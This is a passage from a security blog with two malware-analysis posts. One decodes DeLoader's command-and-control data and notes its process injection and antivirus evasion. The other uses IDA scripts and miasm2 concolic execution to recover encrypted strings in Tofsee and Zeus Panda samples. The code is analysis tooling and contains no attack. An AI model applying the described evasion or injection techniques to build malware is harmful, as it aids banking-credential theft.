<pre><code class="prettyprint">struct RawResponse
{
BYTE Data[len - 4];
DWORD CRC32Data;
};
struct
{
__int64 DecompressionLength;
BYTE CompressedData[]
};
</code></pre>
<p><a href="https://svbtleusercontent.com/qEiwhcJ5e35LitegaSWZN80xspap.png"><img src="https://svbtleusercontent.com/qEiwhcJ5e35LitegaSWZN80xspap_small.png" alt="image9-33.png"></a><br>
After decompression data packet is arranged in a structure which consists of </p>
<pre><code class="prettyprint">struct InternalC2Parsed
{
unsigned int PlaceHolder = 0x1000000;
unsigned int Version; // 4
void *PEBuffer_32bit;
unsigned int PEBuffer_32bit_len;
void *PEBuffer_64bit;
unsigned int PEBuffer_64bit_len;
void *C2StructDecompressed;
int C2StructDecompressed_len;
};
</code></pre>
<p>Depending upon the type of system a particular type of payload(32bit or 64bit ) payload in injected in process memory . If the system happens to be 64bit , a well known technique “heavens gate” is used to inject to 64bit process from a 32 bit running process<br>
<br>
<a href="https://svbtleusercontent.com/iqGb42fmLbjocYKtXu6Z3Y0xspap.png"><img src="https://svbtleusercontent.com/iqGb42fmLbjocYKtXu6Z3Y0xspap_small.png" alt="image10-35.png"></a></p>
<p>Following python script demonstrates the ability to decode and decompress </p>
<pre><code class="prettyprint">#!/usr/bin/env python
import ucl
def PRGA(S):
i = 0
j = 0
while True:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i] # swap
K = S[(S[i] + S[j]) % 256]
yield K
if __name__ == '__main__':
plaintext = open("Bindata", "rb").read()
import array
keystream = [
0xD7, 0x81, 0x83, 0xA6, 0x59, 0x4B, 0x88, 0x32, 0xFB, 0x8D, 0x7A, 0x64, 0x08, 0x9F, 0x6D, 0x01,
0x2C, 0xD8, 0x50, 0xCE, 0xA3, 0x4A, 0xF9, 0x21, 0x40, 0x91, 0xE4, 0x28, 0x22, 0xAA, 0x41, 0x0D,
0x68, 0x44, 0xA7, 0xB8, 0xA5, 0xFE, 0x3A, 0x2F, 0x7C, 0xDA, 0x37, 0x94, 0x46, 0x92, 0x86, 0x0A,
0x25, 0xEA, 0x45, 0xB1, 0xAE, 0x7B, 0xE2, 0x3F, 0xBC, 0x7D, 0x84, 0x9A, 0xE5, 0x77, 0x0F, 0xA2,
0xDD, 0x1A, 0x5F, 0xFA, 0x78, 0x67, 0x12, 0x02, 0x03, 0x3B, 0x65, 0x62, 0xF5, 0xBE, 0x8C, 0x27,
0x9D, 0x69, 0xA8, 0x56, 0x5E, 0xE6, 0x61, 0xFF, 0x72, 0x5C, 0x19, 0xD6, 0xD4, 0x6A, 0x52, 0xD2,
0xDC, 0x55, 0xDF, 0x70, 0x18, 0x0C, 0xEE, 0x87, 0x95, 0x07, 0xA1, 0x05, 0xA4, 0x5D, 0xE1, 0x06,
0xB0, 0xC0, 0x29, 0x80, 0x53, 0xE7, 0xE3, 0x93, 0x16, 0xF2, 0x1B, 0x96, 0xDB, 0x90, 0xAC, 0xF6,
0x7E, 0x6F, 0xF1, 0x6C, 0xB6, 0xF4, 0x63, 0xB3, 0x8A, 0xC3, 0xFC, 0x8F, 0x1F, 0x3D, 0x9C, 0x2B,
0xB9, 0xCB, 0x35, 0x2D, 0xA0, 0xC6, 0x74, 0xFD, 0xBF, 0x23, 0xEB, 0xB5, 0x89, 0x82, 0x30, 0xBB,
0x0B, 0x76, 0x17, 0x4F, 0x4E, 0x1E, 0xD9, 0x58, 0x13, 0x6B, 0x26, 0x9E, 0xD0, 0xE0, 0x48, 0xF0,
0x6E, 0xB4, 0x0E, 0xC4, 0xEC, 0x00, 0xD1, 0xCF, 0xC8, 0x7F, 0x20, 0x38, 0x79, 0xCD, 0x49, 0xC7,
0x47, 0xED, 0x31, 0xCA, 0xC1, 0x39, 0xC9, 0x98, 0x1D, 0x33, 0x5A, 0x3E, 0x51, 0x4C, 0x8B, 0x24,
0xB2, 0xB7, 0x4D, 0xE8, 0x54, 0xEF, 0x9B, 0xC5, 0x09, 0xF7, 0x2A, 0x3C, 0xBD, 0x36, 0x71, 0x2E,
0x15, 0xF3, 0xA9, 0x60, 0x10, 0xAF, 0xC2, 0x73, 0x97, 0x34, 0x66, 0x99, 0x8E, 0xDE, 0xAD, 0xAB,
0xBA, 0xF8, 0x11, 0xD5, 0x75, 0x43, 0x57, 0x04, 0xCC, 0xE9, 0x42, 0x85, 0x14, 0x1C, 0x5B, 0xD3
]
arr = array.array("B", keystream)
keystream = PRGA(arr)
import sys
finBuf = array.array("B")
i = 0
for c in plaintext:
finBuf.append(ord(c) ^ keystream.next())
i = i + 1
open("FinalData.bin", "wb").write(finBuf.tostring())
</code></pre>
<p>and to finally decomrpess the data we can use CTYPES to call the following subroutine in python <br>
<a href="https://github.com/wt/coreboot/blob/master/payloads/bayou/nrv2b.c">https://github.com/wt/coreboot/blob/master/payloads/bayou/nrv2b.c</a></p>
<pre><code class="prettyprint">#ifndef ENDIAN
#define ENDIAN 0
#endif
#ifndef BITSIZE
#define BITSIZE 32
#endif
#define GETBIT_8(bb, src, ilen) \
(((bb = bb & 0x7f ? bb*2 : ((unsigned)src[ilen++]*2+1)) >> 8) & 1)
#define GETBIT_LE16(bb, src, ilen) \
(bb*=2,bb&0xffff ? (bb>>16)&1 : (ilen+=2,((bb=(src[ilen-2]+src[ilen-1]*256)*2+1)>>16)&1))
#define GETBIT_LE32(bb, src, ilen) \
(bc > 0 ? ((bb>>--bc)&1) : (bc=31,\
bb=*(const uint32_t *)((src)+ilen),ilen+=4,(bb>>31)&1))
#if ENDIAN == 0 && BITSIZE == 8
#define GETBIT(bb, src, ilen) GETBIT_8(bb, src, ilen)
#endif
#if ENDIAN == 0 && BITSIZE == 16
#define GETBIT(bb, src, ilen) GETBIT_LE16(bb, src, ilen)
#endif
#if ENDIAN == 0 && BITSIZE == 32
#define GETBIT(bb, src, ilen) GETBIT_LE32(bb, src, ilen)
#endif
static unsigned long unrv2b(uint8_t * src, uint8_t * dst, unsigned long *ilen_p)
{
unsigned long ilen = 0, olen = 0, last_m_off = 1;
uint32_t bb = 0;
unsigned bc = 0;
const uint8_t *m_pos;
// skip length
src += 4;
/* FIXME: check olen with the length stored in first 4 bytes */
for (;;) {
unsigned int m_off, m_len;
while (GETBIT(bb, src, ilen)) {
dst[olen++] = src[ilen++];
}
m_off = 1;
do {
m_off = m_off * 2 + GETBIT(bb, src, ilen);
} while (!GETBIT(bb, src, ilen));
if (m_off == 2) {
m_off = last_m_off;
} else {
m_off = (m_off - 3) * 256 + src[ilen++];
if (m_off == 0xffffffffU)
break;
last_m_off = ++m_off;
}
m_len = GETBIT(bb, src, ilen);
m_len = m_len * 2 + GETBIT(bb, src, ilen);
if (m_len == 0) {
m_len++;
do {
m_len = m_len * 2 + GETBIT(bb, src, ilen);
} while (!GETBIT(bb, src, ilen));
m_len += 2;
}
m_len += (m_off > 0xd00);
m_pos = dst + olen - m_off;
dst[olen++] = *m_pos++;
do {
dst[olen++] = *m_pos++;
} while (--m_len > 0);
}
*ilen_p = ilen;
return olen;
}
</code></pre>
<p>Finally after decoding and decompression a vaid PE file is obtained . A file size of 1.05MB.</p>
<p><a href="https://svbtleusercontent.com/dBAL6WkaR1EyN8UrRZeLQs0xspap.png"><img src="https://svbtleusercontent.com/dBAL6WkaR1EyN8UrRZeLQs0xspap_small.png" alt="image11-37.png"></a></p>
<h2 id="source-code-level-obfuscation_2">Source code level obfuscation . <a class="head_anchor" href="#source-code-level-obfuscation_2">#</a>
</h2>
<p>In a more recent version 0x1120300h source code level obfuscation was added . This type of obfuscation is known as opaque predicates which makes the process of reverse engineering bit difficult . The basic Idea behind this technique is to include calculation based comparison instruction which end with a conditional jump , which are not the part of the original code , but are the part of code path . </p>
<p>In the images below a comparison is shown between a CRC32() function in version <strong>0x1120300h</strong> and an earlier version <strong>0x1050500h</strong>. Which demonstrates the multiple junk instructs and paths added with inclusion of opaque predicates</p>
<p><a href="https://svbtleusercontent.com/tjYaykaLCYVC5pHki8nWMu0xspap.png"><img src="https://svbtleusercontent.com/tjYaykaLCYVC5pHki8nWMu0xspap_small.png" alt="image12-39.png"></a></p>
<p>This happens to be quite evident in the entropy comparison of the binary in whole .<br>
<a href="https://svbtleusercontent.com/uRbHqF466psp66bY8XpiK70xspap.png"><img src="https://svbtleusercontent.com/uRbHqF466psp66bY8XpiK70xspap_small.png" alt="image13-41.png"></a></p>
<p>Even the downloaded payload which happens to be a version of traditional Zeus banking malware is also obfuscated , which generally in its unpacked form is detected by most of then antivirus scans , but due to code level obfuscation is marked clean by most of the major anti virus engines <br>
<a href="https://svbtleusercontent.com/aGexP44eduShbbrHnxvDbL0xspap.png"><img src="https://svbtleusercontent.com/aGexP44eduShbbrHnxvDbL0xspap_small.png" alt="image14-43.png"></a></p>
<p>conclusion :</p>
<p>Deloader is still under heavy development . DeLoader has consistently evolved since past few years . With the addition of a hard obfuscation technique is it quite sure that the authors of deloader want to make this analysis hard and apparently makes it slip the anti virus filter . The use of encryption and compression make the data sent around the command and control server cryptic and hard to detect using a pattern . The payload which s mostly being delivered is a financial malware , designed to steal banking credentials , which makes it clear that authors are inclined towards monetization of injecting machines .</p>
tag:int0xcc.svbtle.com,2014:Post/using-concolic-execution-for-static-analysis-of-malware2018-02-08T15:54:27-08:002018-02-08T15:54:27-08:00Using concolic execution for static analysis of malware
<p><a href="https://svbtleusercontent.com/0smgovcju7gzq.jpg"><img src="https://svbtleusercontent.com/0smgovcju7gzq_small.jpg" alt="1.jpg"></a></p>
<p>Reverse engineering is about reducing the complex equation of binary code into na abstract understandable form . Dynamic and static analysis can speed up the process to a large extent , but they have their limitations when malware further tries to obfuscate and add an extra layer of protection to make analysis harder . Hiding import calls , obfuscated strings , use of visualized code are some of the techniques which hinder static analysis ,even when binary is finally stripped to its original form . These entities are dynamically retrieved by a malware sample </p>
<p>Often times writing scripts is further required to recover hidden entities ( imports, strings , opcodes etc.) </p>
<p>Below is an example of Tofsee spam bot , which features string obfuscation . Strings in this trojan are dynamically generated using a simple algorithm which extracts them from an encoded data buffer . </p>
<p><a href="https://svbtleusercontent.com/rsmdjx0s3u9x0a.jpg"><img src="https://svbtleusercontent.com/rsmdjx0s3u9x0a_small.jpg" alt="2.JPG"></a></p>
<p>An easier way to deal with this would to be implement this small algorithm as a python function and statically generate all strings from xrefs to an encoded data buffer . By using asm text kung-fu , one can extract all the parameters passed , as these functions usually do expect some constants and size parameters </p>
<pre><code>import array
def DecodeStr(buf, key, adder):
dst = array.array("B")
x = 1
for i in buf:
dst.append( (ord(i) ^ key ) & 0xff )
key = (x + adder + key) & 0xff
#print "key = %x" % key
x = x - (1 << 32) # neg in python
x = -x & 0xff
#print "x = %x" % x
#print dst.tostring()
return dst.tostring()
</code></pre>
<p>parameter extraction can be achieved with some assembly text parsing </p>
<pre><code>
MaxSearchStep = 5
ea = i
while "push " not in GetDisasm(ea):
ea = PrevHead(ea)
ea = PrevHead(ea)
while "push " not in GetDisasm(ea):
ea = PrevHead(ea)
#print "%x %s" % ( ea, GetDisasm(ea))
disasm = GetDisasm(ea)
ea = PrevHead(ea)
while "push " not in GetDisasm(ea):
ea = PrevHead(ea)
DecStr = DecodeStr(GetManyBytes(LocByName(disasm[15:]), slen, 0), 169, 183)[0:slen].strip(" ")
print DecStr
for i in range(0, slen):
PatchByte(LocByName(disasm[15:]) + i, ord(DecStr[i])),
LocByName(disasm[15:]) + i,
MakeStr(LocByName(disasm[15:]), LocByName(disasm[15:]) + slen)
</code></pre>
<p><a href="https://svbtleusercontent.com/ughz9xkqcuan2q.jpg"><img src="https://svbtleusercontent.com/ughz9xkqcuan2q_small.jpg" alt="2.JPG"></a></p>
<p>This script adds a whole lot of information to the context of static analysis process </p>
<p>or we can leverage on the IDA APP call feature for the same result</p>
<h2 id="appcall-is-a-mechanism-used-to-call-functions_2">“Appcall is a mechanism used to call functions inside the debugged program from the debugger or your script as if it were a built-in function.” <a class="head_anchor" href="#appcall-is-a-mechanism-used-to-call-functions_2">#</a>
</h2>
<p>With APP call , we do not necessarily need to know the internal details of an underlying algorithm , but we rather call a function directly . Following example portrays a Zeus malware sample with an import table calls replaced with dynamic API retrieval calls , API call information can be retrieved using APP call on a defined function , but again by using disassembly text to extract parameters </p>
<pre><code>
#int __fastcall get_imports(void *kernel_base, int size, int HashOfFunction, int Index);
FuncAddr = Appcall.get_imports(ECX, EDX, FirstParam, SecondParam) # API CAll
print hex(FuncAddr)
MakeFunction(FuncAddr)
print GetFunctionName(FuncAddr)
</code></pre>
<p>Although this method works fine , but the limitations occur when parameters are not in the order we expect them to be. Due to the Turing complete nature of assembly language, parameters can be passed on in many different ways , for example </p>
<p>Side effects of following statements are same </p>
<pre><code>
PUSH 0xdeadbeef
MOV [esp], 0xdeadbeef
MOV [ebp- x] , 0xdeadbeef
MOV [esp], 0xdeadbeefy (x,y two values to be added to get final value)
ADD [[esp], 0xdeadbeefX
</code></pre>
<p>If function has __fastcall convention then , </p>
<pre><code>
MOV ECX, EDX ( EDX is set earlier )
SHR ECX, 7h
PUSH 10h
POP EDX
</code></pre>
<p>In such cases extracting parameters using text parsing would not be a viable solution . </p>
<p>Concolic execution in these scenarios can be of great help to retrieve such values . In Concolic execution symbols are provided with concrete values ( in our case we will provide necessary entities to reach our desired location ) , in opposite to symbolic execution which explores all paths </p>
<p>To help us with Concolic execution, we will make use of miasm2 library . miasm2 is a reverse engineering framework . miasm2 has its own internal IR language which is obtained from given defined assembly code . It also features an internal sandbox which can be used for run trace analysis on binaries </p>
<p>For illustration , we will use a sample of a Zeus variant Panda malware which does string encryption on fly using RC4 . Parameters required for a successful decrypting of string are </p>
<p>*1 : Four byte RC4 key <br>
*2 : Size of string <br>
*3 : offset to encoded data buffer <br>
*4 : bool_convert_unicode ? ( not required) </p>
<p>This function happens to be <em>__fastcall</em> for which first two parameters are passed via registers and rest are pushed on to the stack </p>
<p><a href="https://svbtleusercontent.com/b3s3qn99n7yf8w.jpg"><img src="https://svbtleusercontent.com/b3s3qn99n7yf8w_small.jpg" alt="2.JPG"></a></p>
<p>Obtained parameters via xrefs and text parsing works well , but fails at a location where any parameter is retrieved indirectly . Now considering all above cases , entities can be set by many different ways .</p>
<p><a href="https://svbtleusercontent.com/dfpfecjiofg0tq.jpg"><img src="https://svbtleusercontent.com/dfpfecjiofg0tq_small.jpg" alt="2.JPG"></a></p>
<p>In this case , <em>EDX</em> is retired from <em>EBP</em> .The value of <em>EBP</em> can come from different manipulations, we will be able to track via symbolic execution of this Frame </p>
<pre><code>
from miasm2.ir.symbexec import SymbolicExecutionEngine
from miasm2.analysis.machine import Machine
from miasm2.expression.expression import ExprInt32
from miasm2.ir.symbexec import symbexec
machine = Machine('x86_32')
mdis = machine.dis_engine(bs)
start, end = 0, len(bs)
blocs = mdis.dis_multibloc(start)
ira = machine.ira()
ira.arch.regs.EAX
for bloc in blocs:
ira.add_bloc(bloc)
</code></pre>
<p>Binary code of this frame till the xref of the function can be obtained by IDA API which will be processed by the library </p>
<p>We would also be required to provide few concrete values to the frame , as they are expected by the code to reach our desired frame</p>
<p><a href="https://svbtleusercontent.com/wjmuxrycrr6yaw.jpg"><img src="https://svbtleusercontent.com/wjmuxrycrr6yaw_small.jpg" alt="2.JPG"></a></p>
<p>Using the following code before running the symbolic engine , we will set concrete values for <em>ECX</em> and <em>EDX</em></p>
<pre><code>
sb.symbols[machine.mn.regs.ECX] = ExprInt32(0x0xffffffff)
sb.symbols[machine.mn.regs.EDX] = ExprInt32(0x1)
</code></pre>
<p>And finally we let it perform symbolic execution with these concrete values </p>
<pre><code>
sb = symbexec(ira, machine.mn.regs.regs_init)
sb.emul_ir_blocks(start)
sb.dump_id()
sb.dump_mem()
</code></pre>
<p>This code will provide an IR dump of register and memory . It facilitates us to retrieve both the stack parameter and the register based parameters as well</p>
<pre><code>
IRDst = 0x161
EIP = 0x161
EAX = call_func_ret(0xFFFFFF6C, call_func_stack(0xFFFF2CA3, call_func_stack(0xFFFF52AD, ((ESP_init + 0xFFFFFFFC) & 0xFFFFFFF8) + 0xFFFFFC90)) + 0xFFFFFFFC)
ECX = 0x4122CC
EDX = 0x2
EBX = 0x1
ESP = call_func_stack(0xFFFFFF6C, call_func_stack(0xFFFF2CA3, call_func_stack(0xFFFF52AD, ((ESP_init + 0xFFFFFFFC) & 0xFFFFFFF8) + 0xFFFFFC90)) + 0xFFFFFFFC)
EBP = 0x2
ESI = 0x0
EDI = 0xFFFFFFFF
zf = 0x1
nf = 0x0
pf = 0x1
of = 0x0
cf = 0x0
af = (((ESP_init + 0xFFFFFFFC) & 0xFFFFFFF8) ^ (((ESP_init + 0xFFFFFFFC) & 0xFFFFFFF8) + 0xFFFFFCA8) ^ 0x358)[4:5]
@32[call_func_stack(0xFFFF2CA3, call_func_stack(0xFFFF52AD, ((ESP_init + 0xFFFFFFFC) & 0xFFFFFFF8) + 0xFFFFFC90)) + 0xFFFFFFFC] call_func_ret(0xFFFF2CA3, call_func_stack(0xFFFF52AD, ((ESP_init + 0xFFFFFFFC) & 0xFFFFFFF8) + 0xFFFFFC90))
@32[call_func_stack(0xFFFFFF6C, call_func_stack(0xFFFF2CA3, call_func_stack(0xFFFF52AD, ((ESP_init + 0xFFFFFFFC) & 0xFFFFFFF8) + 0xFFFFFC90)) + 0xFFFFFFFC) + 0xFFFFFFFC] 0x2
@32[ESP_init + 0xFFFFFFFC] EBP_init
@32[((ESP_init + 0xFFFFFFFC) & 0xFFFFFFF8) + 0xFFFFFCA4] EBX_init
@32[((ESP_init + 0xFFFFFFFC) & 0xFFFFFFF8) + 0xFFFFFCA0] ESP_init + 0xFFFFFFFC
@32[((ESP_init + 0xFFFFFFFC) & 0xFFFFFFF8) + 0xFFFFFC9C] ESI_init
@32[((ESP_init + 0xFFFFFFFC) & 0xFFFFFFF8) + 0xFFFFFC98] EDI_init
@32[((ESP_init + 0xFFFFFFFC) & 0xFFFFFFF8) + 0xFFFFFC94] 0x0
@32[((ESP_init + 0xFFFFFFFC) & 0xFFFFFFF8) + 0xFFFFFC90] 0xD5268998
@32[((ESP_init + 0xFFFFFFFC) & 0xFFFFFFF8) + 0xFFFFFC8C] 0x7
</code></pre>
<p>From this output , we can retrieve our required parameters which happen to be <em>EDX = 0x2</em> : <b>Length of string </b><br>
<em>ECX = 0x4122CC</em> : <b>Address of encoded data buffer </b></p>
<p><em>@32[((ESP_init + 0xFFFFFFFC) & 0xFFFFFFF8) + 0xFFFFFC94] 0x0 *: <b>bool_to_unicode ?</b><br>
*@32[((ESP_init + 0xFFFFFFFC) & 0xFFFFFFF8) + 0xFFFFFC90] 0xD5268998</em> : <b>RC4Key</b></p>
<p>Backtracking reveals the location where <em>EBP</em> was set to 2, which was traced and recorded by symbolic engine till the end of frame </p>
<p><a href="https://svbtleusercontent.com/1geeu4oj7vd3dq.jpg"><img src="https://svbtleusercontent.com/1geeu4oj7vd3dq_small.jpg" alt="2.JPG"></a></p>
<p><a href="https://svbtleusercontent.com/kylry44wq9gcw.jpg"><img src="https://svbtleusercontent.com/kylry44wq9gcw_small.jpg" alt="2.JPG"></a></p>